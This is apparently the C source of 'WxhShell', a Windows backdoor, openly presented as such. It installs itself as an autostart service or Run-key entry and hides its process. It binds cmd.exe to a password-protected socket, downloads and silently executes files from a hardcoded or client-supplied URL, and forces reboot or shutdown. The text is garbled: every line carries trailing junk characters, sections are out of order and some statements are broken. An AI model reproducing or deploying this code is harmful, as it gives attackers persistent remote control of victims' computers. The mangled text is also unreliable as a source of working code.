    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GYB+RU}],  
    else { 9F;S+)H4  
    closesocket(wsh); k#:2'!7G  
    ExitThread(0); (5$ZvXx?}  
    } AD('=g J  
    break; VzlDHpG  
    } K^t?gt@k}  
  // 获取shell rgcWRt  
  case 's': { <f~Fl^^8  
    CmdShell(wsh); Bf4%G,o5  
    closesocket(wsh); a1N!mQ^  
    ExitThread(0); |vFj*XU  
    break; `3q;~ 9  
  } v0l_w  
  // 退出 0F;,O3Q  
  case 'x': { D';eTy Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k6\^p;!Y  
    CloseIt(wsh); C+N F9N  
    break; {w^uWR4f  
    } jQj,q{eA  
  // 离开 E&~nps8e  
  case 'q': { giavJ|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7 boJ*  
    closesocket(wsh); kVDe6},D7  
    WSACleanup(); %|XE#hw  
    exit(1); Rn+4DcR  
    break; 5 ZfP  
        } Me:{{-V4  
  } ?PPZp6A3L=  
  } v@EQ^C2.&  
yy(A(}  
  // 提示信息 bb=uF1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F#+.>!  
} Ey&aB YR  
  } HT`1E0G8)  
oYM,8 K  
  return; G\iyJSj[P  
} G { mC7@  
v vE\  
// shell模块句柄 `3iQZu i  
int CmdShell(SOCKET sock) 1x >iz `A  
{ KhM.Tc  
STARTUPINFO si; :]eb<J  
ZeroMemory(&si,sizeof(si)); Bo\D.a(T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2>hz_o{5',  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2RppP?M!  
PROCESS_INFORMATION ProcessInfo; pvXcLR)L+3  
char cmdline[]="cmd"; ^i_Iqph=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {8NwFN.  
  return 0; eXy"^x p^  
} XrN- 2HTV  
B/eaqJ  
// 自身启动模式 _|,{ ^m|d  
int StartFromService(void) );}t&}  
{ SQ#7PKH  
typedef struct +2T! z=  
{ WtX>Qu|  
  DWORD ExitStatus; oO=o|w|T  
  DWORD PebBaseAddress; 7!2 HNg  
  DWORD AffinityMask; BgRZ<B`  
  DWORD BasePriority; 3x5!a5$Y  
  ULONG UniqueProcessId; %AR^+*Nu  
  ULONG InheritedFromUniqueProcessId; %%g-GyP 1  
}   PROCESS_BASIC_INFORMATION; &2.+I go|G  
C}CKnkMMD  
PROCNTQSIP NtQueryInformationProcess; V,LVB_6  
m4/}Jx[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p#H]\ P'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v$$]Gv(  
m@ oUvxcd  
  HANDLE             hProcess; d5U; $q{o  
  PROCESS_BASIC_INFORMATION pbi;  93w~.p  
)mkS5j`5\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 30 7fBa  
  if(NULL == hInst ) return 0;  ^Omfe  
|f NMs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kX8=cL9G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l_+A5Xy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A4_>LO_qL  
:)P<jX-G  
  if (!NtQueryInformationProcess) return 0; 5N1 K~".  
=s[ &;B`s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gc;B[/:  
  if(!hProcess) return 0; (fXq<GXAn/  
u@D .i4U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .[f;(WR  
|U=(b,  
  CloseHandle(hProcess);  .fJ*c  
g@E&uyM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K}2Npo FS  
if(hProcess==NULL) return 0; RG? MRxC  
]P*!'iYN(  
HMODULE hMod; 97x%w]kV  
char procName[255]; @}eNV~ROu  
unsigned long cbNeeded; R$xY8+}V  
c$#GM57V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .3g&9WvN!Z  
2X_>vIlEm  
  CloseHandle(hProcess); F aWl,}]  
37K U~9-A  
if(strstr(procName,"services")) return 1; // 以服务启动 T}2:.Hk:N  
7!- \L7<  
  return 0; // 注册表启动 $- w5o`e  
} eU~?p|Np  
k5X b}@  
// 主模块 S OI)/u  
int StartWxhshell(LPSTR lpCmdLine) &"AQ; %&N  
{ L<)Z>@fR  
  SOCKET wsl; 0P9Wy!f7  
BOOL val=TRUE; VR v02m5  
  int port=0; AM?Ec1S #a  
  struct sockaddr_in door; 5bBCpNa  
MOLO3?H(  
  if(wscfg.ws_autoins) Install(); ji##$xC  
A`C-sD >  
port=atoi(lpCmdLine); _m7c o :  
{]M>Y%j48  
if(port<=0) port=wscfg.ws_port; .93S>U<_  
;KS`,<^-  
  WSADATA data; ;fx1!:;.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]Wy.R6  
_ _ =s'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ps7_-cH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x3;jWg~'  
  door.sin_family = AF_INET; s7|3zqi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R2Yl)2 D  
  door.sin_port = htons(port); ni0LQuBp  
\-G5l+!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j]HE>  
closesocket(wsl); uTw|Q{f  
return 1; pe#*I/)b  
} Yhk6Uog{4  
2+&R" #I  
  if(listen(wsl,2) == INVALID_SOCKET) { tnL."^%A2I  
closesocket(wsl); 1g81S_T .  
return 1; Q;@X2 JSp  
} zf7rF}  
  Wxhshell(wsl); [,nfAY  
  WSACleanup(); J=V yyUB  
)(.%QSA\C  
return 0; X}?ESjZJ  
(NM6micc  
} <>&89E%j'  
dh?S[|='  
// 以NT服务方式启动 XqX I(q^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s+N^PX3  
{ }8 \|1@09  
DWORD   status = 0; &*ZC0V3  
  DWORD   specificError = 0xfffffff; .f+9 A>  
taixBNv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -7,vtd[h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q~h6J*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QglYU  
  serviceStatus.dwWin32ExitCode     = 0; _&K\D p&@  
  serviceStatus.dwServiceSpecificExitCode = 0; gTuX *7w  
  serviceStatus.dwCheckPoint       = 0; ^^'[%ok  
  serviceStatus.dwWaitHint       = 0; 9Yd-m  
UXQb ={  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); { $X X  
  if (hServiceStatusHandle==0) return; Jtpa@!M  
\ bC}&Iz6  
status = GetLastError(); Kj=;>u  
  if (status!=NO_ERROR) 8`DO[Z  
{ T[m ~6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q{8qm<0g  
    serviceStatus.dwCheckPoint       = 0; SUo^c1)G  
    serviceStatus.dwWaitHint       = 0; A mvw`u>  
    serviceStatus.dwWin32ExitCode     = status; 0|GpZuGO9  
    serviceStatus.dwServiceSpecificExitCode = specificError; a2[ 8wv1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U* 4{"  
    return; &1 oaZY w  
  } ujow?$&  
9ec0^T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v<%]XHN  
  serviceStatus.dwCheckPoint       = 0; XEa~)i{O  
  serviceStatus.dwWaitHint       = 0; X+d&OcO=q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `)LIVi"(D  
} /XjN%|  
vB=;_=^i 1  
// 处理NT服务事件,比如:启动、停止 mQFa/7FX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :mzCeX8 *  
{ #fO*ROe  
switch(fdwControl) QZ?O;K1|y  
{ H 'D#s;SlR  
case SERVICE_CONTROL_STOP: BQE{  
  serviceStatus.dwWin32ExitCode = 0; VVgsLQd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yW[L,N7d  
  serviceStatus.dwCheckPoint   = 0; Jm%mm SYK  
  serviceStatus.dwWaitHint     = 0; ofVEao  
  { OA!R5sOz"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vP-3j  
  } VPdwSW[eM  
  return; @pTD{OW?  
case SERVICE_CONTROL_PAUSE: 7:#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O{Dm;@J-aM  
  break; *O!T!J  
case SERVICE_CONTROL_CONTINUE: >pN;J)H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  7N!tp,?  
  break; zUNH8=U  
case SERVICE_CONTROL_INTERROGATE: 10/x'#(  
  break; Q%+ }  
}; id3)6}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^}>zYt  
} /*AJ+K._  
-*rHB&e  
// 标准应用程序主函数 b{zAJ`|#[n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?rky6  
{ ]Jja  
vU?b"n  
// 获取操作系统版本 !T)T_P[  
OsIsNt=GetOsVer(); Ng?apaIi@~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u,:CJ[3  
#,7eQaica  
  // 从命令行安装 2O$95 M  
  if(strpbrk(lpCmdLine,"iI")) Install(); q;CayN'I  
w9/nVu  
  // 下载执行文件 =U=e?AOG2  
if(wscfg.ws_downexe) { [0h* &  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vYYS .ve  
  WinExec(wscfg.ws_filenam,SW_HIDE); dK[*  
} _{[k[]  
s*aH`M7^0  
if(!OsIsNt) { +Gk! t]dy  
// 如果时win9x,隐藏进程并且设置为注册表启动 '2 w XV;`  
HideProc(); ,}eRnl\  
StartWxhshell(lpCmdLine); Y;'VosTD  
} F_ ,L 2J  
else (Nm}3p  
  if(StartFromService()) t|go5DXz4  
  // 以服务方式启动 AD~~e% s=  
  StartServiceCtrlDispatcher(DispatchTable); 8f /T!5  
else a v'd%LZP  
  // 普通方式启动 [`y:M&@  
  StartWxhshell(lpCmdLine); mrK,Ql  
i_[^s:*T  
return 0; x:!C(Ep)  
} SPfD2%jjC  
&oon'q5;  
/'R UA  
DZ%g^DRZX  
=========================================== nYI/&B{p  
b`(yu.{Jn  
9`)w@-~~  
+ 9F^F>mu  
3'?h;`v\Lo  
omXBnzT  
" ) j{WeG7L  
6T R8D\  
#include <stdio.h> 83{x"G3>  
#include <string.h> pe\Txg6  
#include <windows.h> IyrZez  
#include <winsock2.h> +io;K]C  
#include <winsvc.h> y%{*uH}SL  
#include <urlmon.h> qk_p}l-F1  
_#/!s]$d#  
#pragma comment (lib, "Ws2_32.lib") [ c ~LY4:  
#pragma comment (lib, "urlmon.lib") H.jLGe>  
[$hptQv  
#define MAX_USER   100 // 最大客户端连接数 zAKq7'_=  
#define BUF_SOCK   200 // sock buffer [z W_%O kP  
#define KEY_BUFF   255 // 输入 buffer `E./p  
-&qRo0^3  
#define REBOOT     0   // 重启 3%It~o?  
#define SHUTDOWN   1   // 关机 V-?sek{;  
P@gu~!  
#define DEF_PORT   5000 // 监听端口 8+*g4=ws  
DBu)xr}7A  
#define REG_LEN     16   // 注册表键长度 EpFIKV!  
#define SVC_LEN     80   // NT服务名长度 ;J,,f1Vw  
D=i0e8D!+  
// 从dll定义API d[s;a.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1?/5A|?V4+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {{^Mr)]5K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?F?\uC2)'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j\XX:uU_  
}V1DyLg :  
// wxhshell配置信息 >XD02A[  
struct WSCFG { +Z 9 3`  
  int ws_port;         // 监听端口 u#zP>!  
  char ws_passstr[REG_LEN]; // 口令 NZfo`iHAN  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1Qp1Es<)  
  char ws_regname[REG_LEN]; // 注册表键名 W+#}~2&Dv  
  char ws_svcname[REG_LEN]; // 服务名 H]% mP|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?c|`R1D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U6/m_`nc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :0J-ek.;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "'Q"(S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kr/1Dsr4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {u(}ED#p  
x?k  
}; (&9DB   
#U ",,*2  
// default Wxhshell configuration m~= ]^e  
struct WSCFG wscfg={DEF_PORT, DuTlYXM2^  
    "xuhuanlingzhe",  2.HZ+1  
    1, 'U|MM;(  
    "Wxhshell", D{,[\^c  
    "Wxhshell", NDs]}5#   
            "WxhShell Service", 9 NGeh*`  
    "Wrsky Windows CmdShell Service", Z4wrXss~  
    "Please Input Your Password: ", 9G`FY:(K  
  1, 7$q2v=tH_  
  "http://www.wrsky.com/wxhshell.exe", tF#b&za  
  "Wxhshell.exe" s8f3i\1  
    }; ~aauW?  
h 7(H%(^_  
// 消息定义模块 ]X >QLD0W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +(QMy&DtS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q7 0**qm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >/kPnpJ  
char *msg_ws_ext="\n\rExit."; H 'WFORso[  
char *msg_ws_end="\n\rQuit."; g6[/F-3Qlf  
char *msg_ws_boot="\n\rReboot..."; 9a"Y,1  
char *msg_ws_poff="\n\rShutdown..."; )$gsU@H -  
char *msg_ws_down="\n\rSave to "; oP|pOs\$p  
-7Aw s)  
char *msg_ws_err="\n\rErr!"; a0V8L+v(  
char *msg_ws_ok="\n\rOK!"; DWm;&RPJ  
< tu[cA>  
char ExeFile[MAX_PATH]; '?vgp  
int nUser = 0; T>%uRK$  
HANDLE handles[MAX_USER]; 0%A(dJA6  
int OsIsNt; ;EE&~&*w  
wB1|r{  
SERVICE_STATUS       serviceStatus; U&Sbm~Qi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^B&ahk  
^ RcIE (  
// 函数声明 ReHd~G9  
int Install(void); ZZ]OR;8  
int Uninstall(void); @MlU!oR&  
int DownloadFile(char *sURL, SOCKET wsh); <WHs  
int Boot(int flag); /QV. U.>G  
void HideProc(void); SBN_>;$c5}  
int GetOsVer(void); f}9PEpa,Z  
int Wxhshell(SOCKET wsl); &G7)s%q  
void TalkWithClient(void *cs); w{:Oa7_A  
int CmdShell(SOCKET sock); XoH[MJC  
int StartFromService(void); +}`O^#<qLX  
int StartWxhshell(LPSTR lpCmdLine); UuOLv;v  
6'No4[F 4n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T ,O<LFv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !F7EAQn{(  
9GtVI^]  
// 数据结构和表定义 RV#uy]  
SERVICE_TABLE_ENTRY DispatchTable[] = Zs3]|bUR  
{ @T,H.#bL  
{wscfg.ws_svcname, NTServiceMain}, [)J49  
{NULL, NULL} Vlp*'2VO  
}; [MQJ71(3  
[o[v"e\w  
// 自我安装 $3]E8t  
int Install(void) "zeJ4f  
{ _ \v@9Q\  
  char svExeFile[MAX_PATH]; Jc"$p\ $-  
  HKEY key; 11@2;vw  
  strcpy(svExeFile,ExeFile); LjH&f 4mY  
qV,$bw  
// 如果是win9x系统,修改注册表设为自启动 y 8d`},  
if(!OsIsNt) { Zjp5\+hHV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eJ=Y6;d$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u\1Wkxj  
  RegCloseKey(key); PGv}fEH"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :)J~FVLy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KWigMh\r  
  RegCloseKey(key); Z#TgFQ3u  
  return 0; }eDX8b8emA  
    } _OknP2E  
  } Z:B Y*#B  
} q/w6sQx$  
else { T`w};]z^d2  
*09\\ G  
// 如果是NT以上系统,安装为系统服务 8O.:3%D~ t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 21/a3Mlx#  
if (schSCManager!=0) GdfK xSO  
{ 'De'(I  
  SC_HANDLE schService = CreateService m[xf./@f{  
  ( P=SxiXsr$  
  schSCManager, 9a~BAH,j  
  wscfg.ws_svcname, 6ImV5^l  
  wscfg.ws_svcdisp, /nMqEHCyg  
  SERVICE_ALL_ACCESS, Vm1c-,)3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )ejXeg  
  SERVICE_AUTO_START, &PQ{e8w  
  SERVICE_ERROR_NORMAL, VQ,\O  
  svExeFile, WEV{C(u<k!  
  NULL, K}5 $;W#  
  NULL, A]SB c2   
  NULL, !7Nz W7j  
  NULL, xBI"{nGoN  
  NULL 8#Z\}gGz  
  ); %dk$K!5D0  
  if (schService!=0) "za*$DU  
  { k0 e|8g X  
  CloseServiceHandle(schService); K` _E>k  
  CloseServiceHandle(schSCManager); gH{\y5%rO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [>Kxm  
  strcat(svExeFile,wscfg.ws_svcname); b1>$sPJ+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4qSS<SqY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qYu!:xa8  
  RegCloseKey(key); (krG0S:0Q  
  return 0; RH'F<!p  
    } *(SBl}f4l  
  } A$"$`)P!  
  CloseServiceHandle(schSCManager); ZV<y=F*~f  
} Ff#N|L'9_  
} fN*4(yw  
,YMdXYu`s  
return 1; k#=leu"I  
} 7quwc'!  
yA>p[F  
// 自我卸载 = cI\OsV&?  
int Uninstall(void) ;'18  
{ 1\608~ZH  
  HKEY key; k}0  
"6NNId|Y  
if(!OsIsNt) { M"$RtS|h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]MA)=' ~  
  RegDeleteValue(key,wscfg.ws_regname); Mn\ B\  
  RegCloseKey(key); f+*2K^B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O"-PNF,J  
  RegDeleteValue(key,wscfg.ws_regname); x]J-q5  
  RegCloseKey(key); &\]f!'jV  
  return 0; \=G Xe.}4d  
  } z Q|x>3   
} U/&qV"Ih  
} B oj{+rE0  
else { owY_cDzrH  
\7tvNa,C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0!'M#'m  
if (schSCManager!=0) 7/OOq=z  
{ 3]]6z K^i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !RUo:b+  
  if (schService!=0) &$z1Hz+l  
  { a3 _0F@I  
  if(DeleteService(schService)!=0) { k#r7&Y  
  CloseServiceHandle(schService); 1]3bx N  
  CloseServiceHandle(schSCManager);  { e  
  return 0; 4a\+o]  
  } ]jY)M<:J4  
  CloseServiceHandle(schService); y $ DB  
  } ;o@`l$O   
  CloseServiceHandle(schSCManager); .-26 N6S  
} dSOn\+  
} .6/p4OR|  
r|F,\fF  
return 1; <@j  
} Uus)2R7  
np>!lF:  
// 从指定url下载文件 KeOBbe  
int DownloadFile(char *sURL, SOCKET wsh) __n"DLW  
{ n|,Vm@zV  
  HRESULT hr; MGC0^voe  
char seps[]= "/"; ,Y5 4(>>%  
char *token; #<>E+r+  
char *file; zr9Pm6Rl  
char myURL[MAX_PATH]; &E '>+6  
char myFILE[MAX_PATH]; RkV3_c  
S_-mmzC(  
strcpy(myURL,sURL); _,?HrL9  
  token=strtok(myURL,seps); g(r'Y#U  
  while(token!=NULL) ^yZSCrPGI  
  { jW$f(qAbm  
    file=token; hgr ,v"  
  token=strtok(NULL,seps); qhf/B)  
  } <0qY8  
N)y;owgo  
GetCurrentDirectory(MAX_PATH,myFILE); l YA+k5  
strcat(myFILE, "\\"); %|* y/m  
strcat(myFILE, file); k#+^=F^)I  
  send(wsh,myFILE,strlen(myFILE),0); cCKda3v!O  
send(wsh,"...",3,0); R#bV/7Ol  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B=/=U7T  
  if(hr==S_OK) %LlKi5u]  
return 0; `l0icfy  
else GeT CN  
return 1; +hhbp'%  
I%*Z j,>  
} I}0 -  
I,?LZ_pK  
// 系统电源模块 5P2FNUKL  
int Boot(int flag) Ip\g ^ia  
{ ;ypO'  
  HANDLE hToken; 54_m{&hb  
  TOKEN_PRIVILEGES tkp; *YOnX7*Km  
8-6{MJ?F  
  if(OsIsNt) { }4`YdN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xT( .#9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GuDD7~qxY  
    tkp.PrivilegeCount = 1; {73DnC~N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;.m[&h 0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n ,%^R  
if(flag==REBOOT) { 9.}3RAB(cv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <sG>[\i  
  return 0; =n?@My?;  
} E0Xu9IW/A  
else { S?WUSx*N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [beuDZA  
  return 0; ,\RCgc  
} ~2 ;y4%K  
  } = $Yk8,  
  else { OVK(:{PwS  
if(flag==REBOOT) { Raqr VC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {lw ec"{  
  return 0; udr'~,R  
} r|$g((g  
else { "d*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dQ o$^?  
  return 0; ` u)V 9{  
} goWt!,&f  
} .SFwjriZ  
R dzIb-  
return 1; V:npcKpu  
} %j`]x -aOz  
imuHSxcaV  
// win9x进程隐藏模块 ~.SU$  
void HideProc(void) nW[aPQ[R   
{ +eat,3Ji  
 %tjEVQa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q'LU?>N)/  
  if ( hKernel != NULL ) |0Kt@ AJY  
  { +o5rR|)M+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  KX@Fgs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [)KfRk?};2  
    FreeLibrary(hKernel); 32J  
  } r8E!-r}rno  
ku=q:ry O  
return; zy5bDL -  
} }0*7bb  
A]slssE+  
// 获取操作系统版本 3 g!h4?^  
int GetOsVer(void) Va:jMN  
{ J#^M   
  OSVERSIONINFO winfo; 'c]&{-w<i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z#ET-[ I  
  GetVersionEx(&winfo); /;J;,G`?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V!4E(sX  
  return 1; iWsIc\!+,  
  else Oms`i&}"}  
  return 0; ~'Hwszp b  
} -rrg?4  
gNBI?xs`p  
// 客户端句柄模块 EyiM`)!5  
int Wxhshell(SOCKET wsl) 34:=A0z  
{ DtX{0p<T3  
  SOCKET wsh; '1IH^<b  
  struct sockaddr_in client; i;7jJ(#V  
  DWORD myID; l$NEx0Dffz  
Y"U&3e,  
  while(nUser<MAX_USER) 3J{'|3x  
{ z5zm,Jw  
  int nSize=sizeof(client); n$K_KU v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8;@eY`0(  
  if(wsh==INVALID_SOCKET) return 1; 4+Kc  
ul1Vsj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dzap]RpB  
if(handles[nUser]==0) ^8*.r+7p  
  closesocket(wsh); P=GM7  
else g [K8G  
  nUser++; EJsb{$u  
  } ""=Vt]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  #Ki@=*  
n ~)%ou  
  return 0; (TsgVq]L  
} -8: @xG2  
0 $r{h}[^c  
// 关闭 socket q Sah_N  
void CloseIt(SOCKET wsh) xC]/i(+bA  
{ aeIR}'H|  
closesocket(wsh); x3 <Lx^;  
nUser--; G#>nOB  
ExitThread(0); q}lSnWY[[  
} HvU)GJ u b  
yCVBG  
// 客户端请求句柄 /6fsh7 \  
void TalkWithClient(void *cs) hvwr!(|W  
{ )XWL'':bF  
N[%IrN3  
  SOCKET wsh=(SOCKET)cs; z%z$'m  
  char pwd[SVC_LEN]; +xa2e?A%L  
  char cmd[KEY_BUFF]; YrX{,YtiX  
char chr[1]; B("kE`  
int i,j; _;9)^})$  
~drNlt9jf  
  while (nUser < MAX_USER) { W3#L!&z_wK  
p;HZA}p \  
if(wscfg.ws_passstr) { 6\L,L &  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VEk|lX;2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]v@,>!Wn  
  //ZeroMemory(pwd,KEY_BUFF); 8dNJZoV  
      i=0; [?A0{#5)8x  
  while(i<SVC_LEN) { #N:o)I  
0n%`Xb0q  
  // 设置超时 x :s-\>RcA  
  fd_set FdRead; 60m1 >"  
  struct timeval TimeOut; n/-I7Q!;u  
  FD_ZERO(&FdRead); U8z,N1]r*`  
  FD_SET(wsh,&FdRead); YZd4% zF  
  TimeOut.tv_sec=8; !!AutkEg>  
  TimeOut.tv_usec=0; (<t)5?@%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f#?R!pR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^"I!+Teb  
P]G2gDO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )DW;Gc  
  pwd=chr[0]; S!uyplYKF  
  if(chr[0]==0xd || chr[0]==0xa) { ]`x~v4JU  
  pwd=0; l?d*g&  
  break; xK f+.6 wz  
  } ;C3](  
  i++; mi+I)b=  
    } sSxra!tv4  
vKxwv YDe  
  // 如果是非法用户,关闭 socket GauIe0qV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (Qnn  
} BQ(`MM@  
v "07H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q>?oV(sF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mOBS[M5*  
%NuS!v>  
while(1) { %q@@0qenv  
y~w$>7U.  
  ZeroMemory(cmd,KEY_BUFF); I#0$5a},u^  
z\a#"2(G.  
      // 自动支持客户端 telnet标准   YRl2e`&jt  
  j=0; Xv6s,<#\  
  while(j<KEY_BUFF) { 2KU [Yd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KpWQ;3D2  
  cmd[j]=chr[0]; g]S.u8K8m  
  if(chr[0]==0xa || chr[0]==0xd) { DY%E&Vd:h  
  cmd[j]=0; }Q*8QV  
  break; -7u4f y{T  
  } -Rmz`yOq}  
  j++; MCvjdc3:  
    } 3>Yec6Hs  
3OTSLF/  
  // 下载文件 #'8E%4  
  if(strstr(cmd,"http://")) { \;~>AL*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -LF^u;s8&S  
  if(DownloadFile(cmd,wsh)) Q%6*S!~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0YKG`W  
  else Gg/K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m$3&r2vgi  
  } *v6'I-#  
  else { v6FYlKU@8  
H}d&>!\}F  
    switch(cmd[0]) { nI-\HAX  
  V`G]4}  
  // 帮助 >zhbOkR9c  
  case '?': { tH$Z_(5  
